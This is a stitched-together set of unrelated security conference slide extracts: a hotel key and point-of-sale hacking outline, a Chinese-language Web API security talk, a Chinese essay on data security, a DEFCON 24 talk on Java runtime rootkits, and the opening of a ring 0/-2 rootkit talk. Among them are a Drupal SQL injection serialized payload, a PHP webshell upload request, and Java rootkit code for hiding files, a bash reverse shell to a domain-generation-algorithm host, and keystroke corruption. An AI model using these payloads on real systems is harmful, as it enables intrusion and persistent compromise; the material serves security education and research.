Thank You!
Matt Edmondson
@matt0177
[email protected]
www.digitalforensicstips.com | pdf |
And Point of Sale Systems
HACKING HOTEL KEYS
Security Consultant
TWITTER, LinkedIN @westonhecker
Rapid7 www.rapid7.com
Senior Security Engineer/Senior Pentester/ Security
Researcher.
About 11 years pen-testing, Security Research, Speaker at
Defcon 22, 23 and 24 Las Vegas, HOPE 11,
TakedownCON 2016,B-sides Boston, Blackhat 2016,
Enterprise Connect 2016, ISC2, SC Congress Toronto.
12 years programming and Reverse Engineering.
Side projects Department of Home Land Security.
Attacking 911 centers / Malware Analysis Ransomware.
Hacking ATM’s, Cars, Point of Sale Systems, Hotel Key
Systems - Property Management Software.
“A Little Bit About Myself”
Explain magstrip readers Magspoofer.
Difference from RFID
Explain Modification to device.
Hotel back ends explained, POS systems
Explained
Process of key checkout check in. Different
parts of hotels.
Attacks on Privileged Keys. Maids, Service ,
Fireman
Encryption is just encoded.
What Is This Talk About?
What lead to research on POS from hotel keys.
How Do POS systems use magstripe readers.
Trigger events and when the Reader listening and what
is it listening for.
Management cards on POS/card readers on the screen.
How is a magstripe reader Used as a HID keyboard?.
Injecting 102-US and proprietary keyboard layouts into
binary data.
Cash tend/Check tend attack.
Attacking OS SQL injection CMD Drive by attack
Restaurant attacks/other mag readers/Rewards
programs and players cards on slot machines
What Is This Talk About?
• What is Magspoofer
Thanks to Samy Kamkar for his work.
How does a Magstipe
Reader work
• Explanation of Magspoofer+ and
EM fields and how they interact w
ith Heads on magnetic head read
er this is not RFID Cards!!!.
How magspoofer works what is SMT
How To Handle Over Heating
100s of Cards = Heat
Explanation of PMS
Explanation of proprietary card
readers and security behind hotel
keys.
Collecting information from keys and
reissued keys.
Interactions with different readers your door vs
elevator external access and pool access.
Privileged cards Management, Maids,
Service, Fireman law enforcement.
Examples of card Dumps Raw data fr
om track 3 other tracks restaurant an
d Resort functions.
There are limitations on characters
you can enter
Breaking the complex encryption of hotel
keys... o it’s simple encoding never mind.
Checking into your own hotel room
KIOSK research.
• What lead to this research after
• hotel keys?
Point of Sale Systems
How do POS systems use magstripe
readers?
Trigger events and when the Reader
listening and what is it listening for.
• Management cards on
• POS/card readers on the screen.
How is a magstripe reader Used as a
HID keyboard?
Injecting 102-US and proprietary
keyboard layouts into binary data.
Cash tend/Check tend attack.
Behind every strong man is a strong woman and
behind ever POS there is a outdated OS.
Exiting POS Software.
Popping CMD downloading payload.
Payload overview what the bad guys
would load.
Locked down and custom Dev'ed envi
ronments.
Limitations of mag injection/making a physical car
d attack/ limitations of physical can you make a wa
iter do your dirty work?
These devices
Are everywhere
Injecting player rewards cards into Slot machines
people already intentionally leave cards in machin
e for this purpose.
Rewards card point collecting rolling
10 different accounts/ Grocery store
and gas stations
Injecting into prepaid/phone card acti
vation/ activate at terminal swapping
systems at POS
Trigger injection attacks "Sniffing USB reader” power up wh
en power up is detected it triggers the EM read. Some comp
anies ask to confirm account if only you could hit the enter
key some how !!
Clock-In systems never be late for
work again.
• Going to inject the Cash Tender
• And next I'm going to Install
Credit Card Skimming Software with
a Spoofer.
Going over 2 Demos
Stay Legal
THANKS FOR COMING
Security Consultant
TWITTER, LinkedIN @westonhecker
Rapid7 www.rapid7.com | pdf |
Web API 安全漏洞与检测防护
徐诣博
2017.8.25
目录
Contents Page
2、Web API 安全漏洞
3、WAF Web API 漏洞防护
4、Web API 安全开发建议
1 、Web API 安全威胁
目录
Contents Page
第 1 章
Web API 安全威胁
什么是 Web API
• 使用 HTTP 协议通过网络调用的 API
• Web API 是一个 Web 系统，可以通过访问 URI
与服务器完成信息交互，或者获取存放在服务
器上的数据信息等，调用者通过程序访问并机
械地使用这些数据。
• Web API 和 Web Services
• JSON
谁在用 Web API
API 安全威胁
• 非法信息窃取
• 浏览器访问 Web API 的意外
• Web API 业务漏洞
• Web API 访问速率限制不当
• HTTP 头部设置不当
非法信息窃取
•
HTTP 嗅探/HTTPS 嗅探，会话劫持
– HTTPS TLS 1.2
– SSLStrip 攻击
– HSTS
•
SSL 漏洞
– 2014 OpenSSL Heartbleed 安全漏洞
– CCS 注入漏洞
•
客户端证书验证漏洞
– 证书有效性验证
•
HTTPS性能
– 是否允许一些 Web API 采用 HTTP
浏览器访问 Web API 的意外
•
XSS
– 输入/输出过滤
– 严格的 Content-Type 限制
•
CSRF
– CSRF Token
•
XXE
– XML 解析
•
JSON劫持
– X-Requeated-With
– 浏览器 JSON 数据识别
– 禁止 Javascript 执行 JSON 数据
Web API 业务漏洞
• 参数篡改
– 连续编号 ID /订单
– 1 元支付
• 重放攻击
– 伪装支付
• 权限控制
– 越权操作
Web API 访问速率限制不当
• API 大规模访问/DoS 攻击
– API 访问速率控制
• 限制单用户访问次数
– 识别用户/限速单位/何时重置
• 429 状态码
– HTTP/1.1 429 Too Many Requests
– Retry-After: 3600
• HTTP 头部传递限速信息
– X-RateLimit-Limit
单位时间访问上限
– X-RateLimit-Remaining
剩余访问次数
– X-RateLimit-Rest
访问次数重置时间
HTTP 头部设置不当
•
X-Content-Type-Options: nosniff
– > = IE8 nosniff
•
X-XSS-Protection
– > = IE8 X-XSS-Protection: 1; mode=block
– Chrome/Firefox 中无效
•
X-Frame-Options
– Deny <frame>,<iframe>,<object>
– > = IE8 deny
•
Content-Security-Policy
– 减轻 XSS ，定义 script,images,fonts,css 白名单
HTTP 头部设置不当
•
Strict-Transport-Security
– HSTS
– Strict-Transport-Security: max-age=<expire-time>; preload
•
Public-Key-Pins
– HTTP-based pulic key pinning HPKP
– Public-Key-Pins: pin-sha256=<base64==>; max-age=<expireTime>; report-
uri=<reportURI>
– https://www.ssllabs.com/ssltest/
•
Set-Cookie
– Secure
– HttpOnly
Github API 首部
目录
Contents Page
第 2 章
Web API 安全漏洞
常见的 Web API 安全漏洞
•
WordPress 4.7 / 4.7.1 REST API 内容注入漏洞
•
Drupal Module RESTWS 7.x - Remote PHP Code Execution
•
SugarCRM 6.5.23 - REST PHP Object Injection Exploit
•
Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code
Execution
•
Oracle GlassFish Server - REST CSRF
•
QQ Browser 9.6 API 权限控制问题导致泄露隐私模式
•
Hacking Docker：Registry API 未授权访问
WordPress REST API 内容注入漏洞
POST /cms/wordpress_v4_7_1/wordpress/wp-json/wp/v2/posts/1/?id=1abc HTTP/1.1
Accept-Encoding: identity
Content-Length: 26
Host: 172.16.7.20
Content-Type: application/json
Connection: close
User-Agent: Python-urllib/2.7
{"title": "wwwwwwwwwwwww"}
/wp-json/wp/v2/posts/1?id=1abc id=1abc 等于 id=1
Drupal 7.X Services Module Unserialize() to RCE
SQL 注入攻击
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: 172.16.7.20
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 888
a:2:{s:8:"username";O:19:"SelectQueryExtender":4:{s:8:".*.query";O:17:"DatabaseCondition":5:{s:13:".*.cond
itions";a:1:{s:12:"#conjunction";s:3:"AND";}s:12:".*.arguments";a:0:{}s:10:".*.changed";b:0;s:29:".*.queryPlac
eholderIdentifier";N;s:13:"stringVersion";s:494:"0x3a) UNION SELECT ux.uid AS uid, ux.name AS name,
'$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd' AS pass, ux.mail AS mail, ux.theme AS
theme, (SELECT data FROM {cache} WHERE cid='services:my_rest_endpoint:resources') AS signature, ux.pass
AS signature_format, ux.created AS created, ux.access AS access, ux.login AS login, ux.status AS status,
ux.timezone AS timezone, ux.language AS language, ux.picture AS picture, ux.init AS init, ux.data AS data
FROM {users} ux WHERE
ux.uid<>(0";}s:19:".*.uniqueIdentifier";s:8:"anything";s:13:".*.connection";N;s:14:".*.placeholder";i:0;}s:8:"pa
ssword";s:10:"ouvreboite";}
POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: 172.16.7.20
Accept: application/json
Content-Type: application/json
Content-Length: 91
{"filename":"dixuSOspsOUU.php","data":"<?php
eval(file_get_contents('php:\/\/input')); ?>"}
PHP 远程代码执行
Drupal 7.X Services Module Unserialize() to RCE
Drupal Core – 高危漏洞
• Drupal CVE-2017-6919 Access Bypass Vulnerability
• File REST resource does not properly validate - Less Critical -
Drupal 8 - CVE-2017-6921
• REST API can bypass comment approval - Access Bypass -
Moderately Critical - Drupal 8 - CVE-2017-6924
REST 权限控制 bypass
Web API 渗透测试
•
渗透测试工具
– BurpSuite
– Postman
– Hurl.it
– SoapUI NG Pro
– Fuzzapi
•
渗透测试平台
– Hackazon
– Mutillidae
– DVWS
目录
Contents Page
第 3 章
WAF Web API 漏洞防护
WAF 防护 Web API 漏洞攻击
• 通用漏洞防护
• Web API 访问合规
• Web API 访问速率控制
• Web API 防护难点
通用漏洞防护
• SQL 注入
• XSS
• CSRF
• XXE
• 命令注入
• 代码注入
• 暴力破解
Web API 访问合规
– 输入/输出校验
• URI
• Content-Type
–
application/xml
–
application/json
–
application/vnd.php.serialized
– API 访问自学习
Web API 访问速率控制
• 分配会话 CID Cookie
• 针对特定的 URI
– Requests / Minute
– Requests / Session
– Session Length
Web API 防护难点
•
API 是为程序调用而设计
•
API 常见格式
–
JSON/XML/php.serialized 解析
•
JSON 主流
•
XML 逐渐减少
•
PHP 广泛性
– GWT 框架 JavaRMI Google x
– WebSockets ws://** x
•
Web Services SOAP
•
权限管理与访问控制
•
WAF API 防护能力与配置成本
目录
Contents Page
第 4 章
Web API 安全开发建议
开发建议
• 完善的 API 文档
• 约定俗称的开发规范
• 关键应用 API 沙盒
– 涉及支付/个人信息
• API Console
• API SDK
URI
•
URI 是否短小且易输入
•
URI 是否见名知意
•
URI 是否只有小写字母组成
•
URI 是否容易修改
•
URI 是否反映了服务器的架构
•
URI 是否统一
•
URI 中的单词表示的意思是否通识
•
URI 中名词是否为复数形式
•
URI 中有没有空格和需要编码的字符
•
URI 中单词和单词之间是否使用连接符(-)
身份认证
• 登录是否使用 Oauth 2.0
• JSON Web Tokens (JWT)
响应数据
•
响应数据是否使用 JSON 作为默认格式
•
响应数据是否支持了不必要的 JSONP
•
响应数据是否可以被客户端篡改
•
响应数据的结构是否尽量扁平化
•
响应数据是否用对象来描述而不是数组
•
响应数据中的名称所用的单词是否通识
•
响应数据中名称是否在整个 API 里面保持一致
•
响应数据中是否用了奇怪的缩写
•
响应数据的名称单复数是否和数据内容一致
响应数据
• 出错时响应数据是否便于定位分析
• 出错时是否返回 HTML 数据
• 是否返回合适的状态码
• 是否返回为合适的媒体类型
• 能否支持 CORS
• 是否设置合适的头部控制缓存
其他
•
是否对 API 进行版本管理
•
API 版本命名时有没有遵循语义化版本控制
•
是否在 URI 中嵌入版本编号
•
是否考虑版本兼容性及 API 版本终止事宜
•
是否使用 HTTPS 来提供 API
•
是否正确处理 JSON 转义
•
是否通过 X-Requested-With 首部防止 Javascript 读取 JSON 数据
•
浏览器访问 API 时是否设置 CSRF Token
•
是否对 API 接收参数做非法性检验
•
是否有 API 访问次数/速率控制
•
是否正确的设置 HTTP 安全头部
API-Security-Checklist
• API-Security-Checklist
https://github.com/shieldfy/API-Security-Checklist/
Venustech
THANKS!
谢 谢 观 看 | pdf |
数据安全杂谈（⼀）
本⽂发表于赛博回忆录。
前⾔
随着数据安全提上安全的⽇常，⼤家其实可以发现，传统的那种堆叠安全设备的防护⽅式是⼀个低效
的，不太实⽤的⼀种防护⼿段。
所以防护的重⼼发⽣了偏移
⼀个公司的安全建设随着防护的重⼼发⽣偏移，从⽽导致安全建设的中⼼也发⽣了偏移
痛
其实⼀个企业在做企业级的安全建设的时候，都会存在⼀些相应的痛点问题，这些痛点的解决随时随
地，都牵涉着⼀个安全团队的安全建设的进度。
这样单独总结出来⼤家可能觉得，这并不是痛点啊？下⾯我就⼀⼀解释⼀下这些痛点！
1、资源有限
预防性的安全建设资源有限
已经建设的业务投⼊⽅⾯资源有限
已经发布的产品线
资源有限
时间不够
能⼒不⾜
没有⼈负责的业务
2、时间不够
业务都完成不了（为什么要sdl、修漏洞）
3、能⼒不⾜
缺少安全设计能⼒和优秀的开发⼈员
安全解决⽅案五花⼋⻔，没有统⼀的安全架构设计
过多的安全投⼊会影响业务（或者安全⼒度过⼤，会根本上影响业务）
这个或许就是⼀个甲⽅的安全建设过程中⾯临的很多问题，那么在这么多的问题下，现在的⼤多数甲⽅
的安全模式是什么呢？
安全模式
近⼏年，其实攻防的热度⾮常⾼，催⽣了⼀批很多攻防能⼒极致的⼯程师们，当然在⼀个⽅⾯如果有极
致的能⼒，并不是不好的，⽽证明⼀个⼈的在某个领域的专注程度，但是从⼀些⽅⾯，我们也可以了解
到现在的⼤多数的安全其实就在这种攻防的体制下进⾏安全建设的，流量监控、⽇志审计等等设备。
攻防模式
攻防模式其实是⼀种消防员的救⽕模式，哪⾥有出现⽕灾就去把灭⽕，⼀个庞⼤业务体量的安全甲⽅，
哪⾥出现了⼀个靶标，就去把那个漏洞修掉。这种模式有⼀个有利的地⽅是效果很直接，感官上很明
显，今天发现⼏个⾼危、明天打了⼏个补丁。但是这种⻓期救⽕的模式，会让⼀个安全部⻔陷⼊⻓期的
持久战中，有的⼈乐此不疲，⽽有的⼈已经身⼼疲惫。尤其是红队和蓝队在⻓久的拉锯战中，内卷⼗分
严重。
事后救⽕型模式！
说到底，就是渗透测试等这些安全防护的⼿段永远都是在做⼀个事后救⽕的操作，可能其中挖掘漏洞的
成果还局限在渗透测试⼯程师的经验和能⼒上，所以我们的解决⽅法是什么？ | pdf |
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java
Runtime Environment
DEFCON 24, August 6th 2016
Benjamin Holland (daedared)
ben-holland.com
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Developing Managed Code Rootkits for the Java
Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
$ whoami
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
$ whoami
Benjamin Holland (daedared)
B.S. in Computer Engineering (2005 - 2010)
Wabtec Railway Electronics, Ames Lab, Rockwell Collins
B.S. in Computer Science (2010 - 2011)
M.S. in Computer Engineering and Information Assurance (2010 - 2012)
MITRE
Iowa State University Research (2012 - 2015)
DARPA Automated Program Analysis for Cybersecurity (APAC) Program
PHD in Computer Engineering (2015-????)
DARPA Space/Time Analysis for Cybersecurity (STAC) Program
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
DEFCON Inspirations
It is truly an honor to be here...
Early memories of reading Winn Schwartau’s
Information Warfare
One of my first introductions to security topics
This talk itself was inspired by a previous
DEFCON talk
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Background
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hello World
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hello (weird) World
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Managed Code Rootkits (MCRs)
Post exploitation activity (need root/administrator privileges)
C:\Program Files\Java\. . . \lib\rt.jar
Compromises EVERY program using the modified runtime
Out of sight out of mind
Code reviews/audits don’t audit runtimes (typically)
May be overlooked by forensic investigators
Rootkits are platform independent (if done right)
Runtimes are already fully featured
Object Oriented programming
Standard libraries
Additional access to low level APIs
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Strategies for Modifying the Runtime
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Strategies for Modifying the Runtime
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Pioneering Work
Pioneering work by Erez Metula (DEFCON 17)
"ReFrameworker" tool to modify .NET runtimes
XML modules define injection tasks
Generates deployment scripts
Uses an assembler/disassembler pair to make modifications
Usability? To make modules you have to write code in IR.
Portability? Depends on your target and module
implementation.
Maintenance? Last update was over 6 years ago...
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
New Framework Goals
MCR support for Java Runtime Environment
Minimal prerequisite user knowledge
No knowledge of bytecode or intermediate languages
Simple development cycle
Consider: developing, debugging, deploying
Portability (Write Once, Exploit Everywhere)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
JReFrameworker
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
JReFrameworker
Write rootkits in Java source!
Modification behaviors defined with source
annotations
Develop and debug in Eclipse IDE
Exploit "modules" are Eclipse Java projects
Exportable payload droppers
Bytecode injections are computed on the fly
Free + Open Source (MIT License):
github.com/benjholla/JReFrameworker
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
JReFrameworker
Write rootkits in Java source!
Modification behaviors defined with source
annotations
Develop and debug in Eclipse IDE
Exploit "modules" are Eclipse Java projects
Exportable payload droppers
Bytecode injections are computed on the fly
Free + Open Source (MIT License):
github.com/benjholla/JReFrameworker
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hello (weird) World Revisited
@MergeType
public class BackwardsPrintStream extends java.io.PrintStream {
@MergeMethod
@Override
public void println(String str){
StringBuilder sb = new StringBuilder(str);
super.println(sb.reverse().toString());
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Annotation Types
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Annotation Types
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Modules
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Get Creative
Time to get creative...
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hidden File Module
@MergeType
public class HiddenFile extends java.io.File {
@MergeMethod
@Override
public boolean exists(){
if(isFile() && getName().equals("secretFile")){
return false;
} else {
return super.exists();
}
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hidden File Module
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hidden File Module
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Beetlejuice
@MergeType
public class BeetlejuiceObject extends java.lang.Object {
@DefineField
private int beetlejuice;
@MergeMethod
public String toString(){
StackTraceElement[] st = new Exception().getStackTrace();
for(StackTraceElement element : st)
if(element.getMethodName().equals("beetlejuice"))
if(++beetlejuice==3) i.Main.main(new String[]{});
return super.toString();
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Beetlejuice
public class Test {
static class TimBurton {}
public static void main(String[] args) {
TimBurton timBurton = new TimBurton();
beetlejuice(timBurton);
beetlejuice(timBurton);
beetlejuice(timBurton);
}
private static void beetlejuice(TimBurton timBurton){
System.out.println(timBurton.toString());
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Beetlejuice
The “i.Main.main(new String[]);”
invokes Mocha DOOM
Port of DOOM shareware to pure Java
github.com/AXDOOMER/mochadoom
Payload behaviors can depend on the
state or structure of the client program
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Reverse Shell + DGA
Define a java.util.StreamForwarder class
Forward shell inputs/outputs to TCP stream
InetAddress address = InetAddress.getByName(domain);
String ipAddress = address.getHostAddress();
final Process process = Runtime.getRuntime().exec("/bin/bash");
Socket socket = new Socket(ipAddress, 6666);
forwardStream(socket.getInputStream(), process.getOutputStream());
forwardStream(process.getInputStream(), socket.getOutputStream());
forwardStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
...
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Reverse Shell + DGA
Merge Domain Generation Algorithm (DGA) logic into java.util.Date
String domain = "www.";
int year = getYear();
int month = getMonth();
int day = getDay();
for(int i=0; i<16; i++){
year = ((year ^ 8 * year) >> 11) ^ ((year & 0xFFFFFFF0) << 17);
month = ((month ^ 4 * month) >> 25) ^ 16 * (month & 0xFFFFFFF8);
day = ((day ^ (day << 13)) >> 19) ^ ((day & 0xFFFFFFFE) << 12);
domain += (char)(((year ^ month ^ day) % 25) + 97);
}
domain += ".com";
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Reverse Shell + DGA
Malicious client probes for payload
Create a reverse shell to the domain of the day
public static void main(String[] args) throws Exception {
Date d = new Date();
// attempts to invoke a private method named reverseShell
// in java.util.Date that may or may not exist ;)
Method method = d.getClass().getDeclaredMethod("reverseShell");
method.setAccessible(true);
method.invoke(d);
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
SpellWrecker
Define SpellWrecker class (inverse of a spellchecker)
As average typing speed increases, more typos are injected
As average typing speed reduces, less typos are injected
@MergeType
public class SpellWreckedKeyEvent extends KeyEvent {
@MergeMethod
@Override
public char getKeyChar(){
char original = super.getKeyChar();
return SpellWrecker.spellwreck(original);
}
}
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Mitigations
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Bytecode Modification Indicators
What is wrong with this picture? (hint: look at the line numbers)
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Q/A
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Questions?
Thank you!
Resources:
Setup + Tutorials: ben-holland.com/JReFrameworker
Source Code: github.com/benjholla/JReFrameworker
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment | pdf |
Hacking Desire
“Reverse-engineering what people want”
Ian Clarke, CEO Uprizer Labs
[email protected]
Why?
• Everyone has needs and desires
• If we can predict these, then we can give
people what they want
• This will make them happy
• ???
• Profit!
Specific problems we could solve
• Music (last.fm, Indy, Pandora)
• Movies (Netflix)
• Advertising (“behavioral advertising”)
• Dating
Existing approach: Item based CF
• “People who liked X also liked these”
Pros
Cons
Simple to implement
Naive - relies on a single piece of
information about the user
Easy for end-users to understand
Limited diversity in
recommendations
Existing approach: User based CF
• “People like you liked these”
Pros
Cons
Can develop quite nuanced view of
a user’s preferences
Requires a lot of data per-user to
accurately determine similarity
Easy for end-users to understand
Can be hard to scale - naive
implementation is O(N2)
Representing user preference
-10.0
-5.0
0
5.0
10.0
Action
Violence
Sci-Fi
Romance
-11.25
-3.75
3.75
11.25
Action
Violence
Sci-Fi
Romance
Ian:
Robocop:
Computing user preference
Computing user preference
• User preferences are A B C D
Computing user preference
• User preferences are A B C D
• Item features are e f g h
Computing user preference
• User preferences are A B C D
• Item features are e f g h
• Rating = Ae + Bf + Cg + Dh
Computing user preference
• User preferences are A B C D
• Item features are e f g h
• Rating = Ae + Bf + Cg + Dh
• But...
Computing user preference
• User preferences are A B C D
• Item features are e f g h
• Rating = Ae + Bf + Cg + Dh
• But...
• How do we determine values for A, B, C, D, e, f,
g, and h?
Optimization through Gradient Descent
• Find the optimal by
gradually moving
towards it
• Similar to a ball rolling
down a hill
• Be careful of local
minima
Choosing features
Choosing features
• How do we decide what the important
features of something are?
Choosing features
• How do we decide what the important
features of something are?
• We don’t need to! We let the gradient
descent algorithm figure it out for us!
Choosing features
• How do we decide what the important
features of something are?
• We don’t need to! We let the gradient
descent algorithm figure it out for us!
• We let the algorithm determine what
features make sense for accurate
predictions
Choosing features
• How do we decide what the important
features of something are?
• We don’t need to! We let the gradient
descent algorithm figure it out for us!
• We let the algorithm determine what
features make sense for accurate
predictions
• They may correspond to qualities we have
names for, or they may not
Does it work?
• Netflix Prize has become de-facto standard
for testing collaborative filters
• Half a million users
• 20,000 movies
• 100 million ratings
Root Mean Squared Error
• Netflix Prize measures prediction accuracy
• Mean difference between what was predicted
and what user actually did
• Square the differences, and take root of their
mean
• Has effect of punishing very bad predictions
more than simple mean would
• Uses an unseen “probe set” so that algorithm
can’t just memorize data
Our algorithm’s performance
• We score 0.905 on Netflix probe set
• This is about 5% lower and therefore
better than Netflix’ own algorithm
• But, some algorithms get down as low as
0.864
• How do they do this?
• Can we beat them?
• Do we want to?
Flaws in RMSE metric
• In most CF applications:
• Predictions only matter relative to each-
other
• Accuracy of high predictions is much more
important than low predictions
• RMSE accounts for neither of these facts
• So: A better RMSE doesn’t necessarily
translate into better real-world performance | pdf |
1
DEFCON 2018 USA
ALEXANDRE BORGES
RING 0/-2 ROOKITS :
COMPROMISING
DEFENSES
DEFCON 2018 - USA
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
PROFILE AND TOC
TOC:
• Introduction
• Rootkits: Ring 0
• Advanced Malwares and Rootkits: Ring -2
• Malware and Security Researcher.
• Consultant, Instructor and Speaker on
Malware Analysis, Memory Analysis, Digital
